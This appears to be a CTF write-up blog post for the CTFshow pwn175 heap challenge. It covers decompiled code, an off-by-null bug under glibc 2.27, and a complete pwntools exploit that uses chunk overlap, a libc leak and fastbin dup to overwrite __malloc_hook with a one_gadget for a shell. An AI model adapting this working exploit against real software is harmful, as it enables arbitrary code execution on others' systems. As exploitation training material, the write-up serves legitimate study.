CTFshow-pwn175

[!NOTE]

常见漏洞

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn175
[*] '/home/niuyingying/ctf/pwn/pwn175'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序主要流程,大致如下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  int v4; // [rsp+1Ch] [rbp-4h]

  sub_F4B(a1, a2, a3);
  if ( (int)a1 > 1 )
  {
    v3 = atoi(a2[1]);
    alarm(v3);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      sub_10F8();
      v4 = sub_C65();
      if ( v4 != 1 )
        break;
      Alloc();
    }
    switch ( v4 )
    {
      case 2:
        Show();
        break;
      case 3:
        Delete();
        break;
      case 4:
        exit(0);
      default:
        puts("wrong choice");
        break;
    }
  }
}
unsigned __int64 sub_F4B()
{
  unsigned __int16 buf; // [rsp+2h] [rbp-1Eh] BYREF
  int fd; // [rsp+4h] [rbp-1Ch]
  void *addr; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  dword_202018[0] = 0;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    sub_B90("open device error");
  buf = 0;
  if ( read(fd, &buf, 2u) < 0 )
    sub_B90("read() error");
  if ( !calloc(buf, 1u) )
    sub_B90("memory error");
  addr = 0;
  read(fd, &addr, 6u);
  addr = (void *)((unsigned __int64)addr & 0xFFFFFFFFFFF000LL);
  unk_202020 = mmap(addr, 0x1000u, 3, 34, -1, 0);
  if ( !unk_202020 )
    sub_B90("memory error");
  close(fd);
  return __readfsqword(0x28u) ^ v5;
}
int sub_10F8()
{
  puts("1. Alloc");
  puts("2. Show");
  puts("3. Delete");
  puts("4. Exit");
  return printf("choice: ");
}
_DWORD *Alloc()
{
  int v0; // eax
  _DWORD *result; // rax
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  unsigned int nmemb; // [rsp+10h] [rbp-10h]
  void *v4; // [rsp+18h] [rbp-8h]

  if ( dword_202018[0] > 0x20u )
    sub_B90("too many chunk");
  printf("please input chunk size: ");
  v0 = sub_C65();
  nmemb = v0;
  if ( v0 <= 0 || v0 > 256LL )
    sub_B90("invalid size");
  v4 = calloc(v0, 1u);
  if ( !v4 )
    sub_B90("memory error");
  printf("input chunk content: ");
  sub_BC8((__int64)v4, nmemb);
  for ( i = 0; i <= 0x1F && *(_QWORD *)(8 * i + unk_202020); ++i )
    ;
  if ( i == 32 )
    sub_B90("too many chunk");
  *(_QWORD *)(unk_202020 + 8 * i) = v4;
  result = dword_202018;
  ++dword_202018[0];
  return result;
}
unsigned __int64 __fastcall sub_BC8(__int64 a1, unsigned int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    buf = 0;
    if ( read(0, &buf, 1u) < 0 )
      sub_B90("read() error");
    *(_BYTE *)(a1 + i) = buf;
    if ( buf == 10 )
      break;
  }
  *(_BYTE *)(i + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}
int Show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  const char *v2; // [rsp+8h] [rbp-8h]

  printf("please input chunk index: ");
  v1 = sub_C65();
  if ( (unsigned int)v1 >= 0x20 )
    sub_B90("invalid index");
  v2 = *(const char **)(8LL * v1 + unk_202020);
  if ( v2 )
    return printf("content: %s\n", v2);
  else
    return puts("no such a chunk");
}
_QWORD *Delete()
{
  _QWORD *result; // rax
  int v1; // [rsp+4h] [rbp-Ch]

  printf("please input chunk index: ");
  v1 = sub_C65();
  if ( (unsigned int)v1 >= 0x20 )
    sub_B90("invalid index");
  result = *(_QWORD **)(8LL * v1 + unk_202020);
  if ( result )
  {
    --dword_202018[0];
    free(result);
    result = (_QWORD *)(8LL * v1 + unk_202020);
    *result = 0;
  }
  return result;
}

看到程序存在 off-by-null 漏洞,无 UAF

需要注意这个程序的 Alloc() 函数用的是 calloc,不是 malloc ,而 glibc 2.27 的 calloc 不会优先从 tcache 取 chunk

同样的,正是因为程序用 calloc 申请堆块,glibc 2.27 下 calloc 不会优先从 tcache 里取 chunk,所以常规的 “tcache poisoning 改 __free_hook” 路线不好用;于是换成通过 fastbin dup 把 chunk 申请到 __malloc_hook 附近,写 one_gadget,再触发一次 calloc/malloc 来执行 one_gadget

核心利用链大致是

  • calloc 不从 tcache 取,所以先填 0x1000x70 tcache
  • 利用 off-by-null 伪造 prev_size=0x170
  • 释放 victim 制造 overlap
  • Show(0) 泄漏 main_arena
  • fastbin dup 写 __malloc_hook = one_gadget
  • 再触发一次 calloc 拿 shell

据此编写脚本,成功 get shell

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn175')
libc = ELF('./libc-2.27.so')

# io = process('./pwn175')
io = remote("pwn.challenge.ctf.show",28143)

# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')

# io = gdb.debug(
#     './pwn175',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xE0A
# breakrva 0xE97
# breakrva 0xF49
# c
# '''
# )

def Alloc(size,text):
    io.recvuntil(b"choice: ")
    io.sendline(b"1")
    io.recvuntil(b"please input chunk size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"input chunk content: ")
    if len(text) >= size:
        io.send(text)
    else:
        io.sendline(text)

def Show(i):
    io.recvuntil(b"choice: ")
    io.sendline(b"2")
    io.recvuntil(b"please input chunk index: ")
    io.sendline(str(i).encode())

def Delete(i):
    io.recvuntil(b"choice: ")
    io.sendline(b"3")
    io.recvuntil(b"please input chunk index: ")
    io.sendline(str(i).encode())

Alloc(0xf8,b"\x00")  # 0
Alloc(0x68,b"\x00")  # 0,1
Alloc(0xf8,b"\x00")  # 0,1,2

for i in range(8):
    Alloc(0xf8,b"\x00")  # 0,1,2,3,4,5,6,7,8,9,10

for i in range(8):
    Alloc(0x68,b"\x00")  # 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

for i in range(3,10):
    Delete(i)   # 0,1,2,10,11,12,13,14,15,16,17,18

for i in range(11,18):
    Delete(i)   # 0,1,2,10,18

# tcachebins
# 0x70 [  7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [  7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# 0x70: 0x555555a0ef30 ◂— 0
# unsortedbin
# all: 0x555555a0ee30 —▸ 0x7ffff7bebca0 ◂— 0x555555a0ee30
Delete(0)   # 1,2,10,18
Delete(1)   # 2,10,18

# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0ee30
# Size: 0x100 (with flag bits: 0x101)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
#
# Allocated chunk
# Addr: 0x555555a0ef30
# Size: 0x70 (with flag bits: 0x70)
#
# Allocated chunk
# Addr: 0x555555a0efa0
# Size: 0x100 (with flag bits: 0x100)
Alloc(0x68,b"\x00" * 0x60 + p64(0x170)) # 0,2,10,18

# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0ee30
# Size: 0x270 (with flag bits: 0x271)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
Delete(2)   # 0,10,18

Alloc(0xf8,b"\x00")  # 0,1,10,18
Show(0)

io.recvuntil(b"content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x4f322
malloc_hook = libc_base + libc.sym['__malloc_hook']

# Allocated chunk | PREV_INUSE  1
# Addr: 0x555555a0ee30
# Size: 0x100 (with flag bits: 0x101)
#
# Allocated chunk | PREV_INUSE  0,2
# Addr: 0x555555a0ef30
# Size: 0x70 (with flag bits: 0x71)
#
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x555555a0efa0
# Size: 0x100 (with flag bits: 0x101)
# fd: 0x7ffff7bebca0
# bk: 0x7ffff7bebca0
#
# tcachebins
# 0x70 [  7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [  7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x555555a0efa0 —▸ 0x7ffff7bebca0 ◂— 0x555555a0efa0
Alloc(0x68,b"\x00")  # 0,1,2,10,18

# tcachebins
# 0x70 [  7]: 0x555555a0fb50 —▸ 0x555555a0fae0 —▸ 0x555555a0fa70 —▸ 0x555555a0fa00 —▸ 0x555555a0f990 —▸ 0x555555a0f920 —▸ 0x555555a0f8b0 ◂— 0
# 0x100 [  7]: 0x555555a0f6b0 —▸ 0x555555a0f5b0 —▸ 0x555555a0f4b0 —▸ 0x555555a0f3b0 —▸ 0x555555a0f2b0 —▸ 0x555555a0f1b0 —▸ 0x555555a0f0b0 ◂— 0
# fastbins
# 0x70: 0x555555a0ef30 —▸ 0x555555a0fbb0 ◂— 0x555555a0ef30
# unsortedbin
# all: 0x555555a0efa0 —▸ 0x7ffff7bebca0 ◂— 0x555555a0efa0
Delete(0)   # 1,2,10,18
Delete(18)  # 1,2,10
Delete(2)   # 1,10

Alloc(0x68,p64(malloc_hook - 0x23))
Alloc(0x68,b"\x00")
Alloc(0x68,b"\x00")
Alloc(0x68,b"\x00" * 0x13 + p64(one_gadget))

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"please input chunk size: ")
io.sendline(str(0x10).encode())

io.interactive()
posted @ 2026-08-10 16:32  AurY1n  阅读(1)  评论(0)    收藏  举报